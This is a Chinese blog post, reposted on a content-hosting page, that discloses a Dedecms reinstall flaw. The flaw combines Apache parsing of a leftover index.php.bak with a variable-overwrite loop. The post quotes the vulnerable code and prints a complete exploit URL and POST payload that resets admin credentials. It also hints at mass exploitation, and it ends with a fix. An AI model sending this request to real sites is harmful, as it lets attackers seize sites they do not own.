打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
高危警告:Dedecms通杀重装漏洞 利用apache解析+变量覆盖

今天看到红黑有个文章署名作者是SysShell发的一个这个漏洞(不知道是不是原创),文笔很简洁啊,就给了一个测试的URL,我也很久没写原创文章了,最近一直在写源代码审计系统,预计最迟下周会跟大家见面,目前完成了高精确度自动白盒审计漏洞,代码高亮,漏洞定位,函数/变量列表,代码调试,函数查询,变量/函数追查,自动升级,自定义编辑器,还有很多实用的功能,等出来了大家慢慢玩吧,会首发在www.cnseay.com

进入正题,这个重装漏洞的危害大家应该也知道,我就不多说了,估计又要一批站躺枪了,利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。

利用截图:

Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。

看看/install/index.php.bak代码:

$verMsg = ' V5.7 GBKSP1';$s_lang = 'gb2312';$dfDbname = 'dedecmsv57gbksp1';$errmsg = '';$install_demo_name = 'dedev57demo.txt';$insLockfile = dirname(__FILE__)。'/install_lock.txt';$moduleCacheFile = dirname(__FILE__)。'/modules.tmp.inc';define('DEDEINC',dirname(__FILE__)。'//include');define('DEDEDATA',dirname(__FILE__)。'//data');define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));header("Content-Type: text/html; charset={$s_lang}");require_once(DEDEROOT.'/install/install.inc.php');require_once(DEDEINC.'/zip.class.php');foreach(Array('_GET','_POST','_COOKIE') as $_request){foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);}require_once(DEDEINC.'/common.func.php');if(file_exists($insLockfile)){exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");}if(empty($step)){$step = 1;}

其中$insLockfile = dirname(__FILE__)。’/install_lock.txt’;是安装锁文件。在下面的

if(file_exists($insLockfile)){exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");}

这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,

关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。

foreach(Array('_GET','_POST','_COOKIE') as $_request){foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);}

这个是注册变量,如果存在变量就直接覆盖了。

所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。

利用演示:

直接POST数据到这个URL

http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4

就OK了

POST数据:

step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms

其中的dbhost啥的东西自己改改吧,

提交数据包。效果如下

重装了……我是良民

批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。

原文地址:http://www.cnseay.com/2956/

解决方式:

删除install/install.php.bak 或者 改名为install/install.bak

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
代码审计Day10 - 程序未恰当exit导致的问题
织梦安全吗?织梦dedecms安全防护的四个步骤
Dedecms最新注入漏洞分析及修复方法
you don't have permission to access /cacti on this server
织梦dedecms 中media_add.php上传漏洞解决办法
PHP 、Python 等网站应用惊爆远程代理漏洞:httpoxy
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服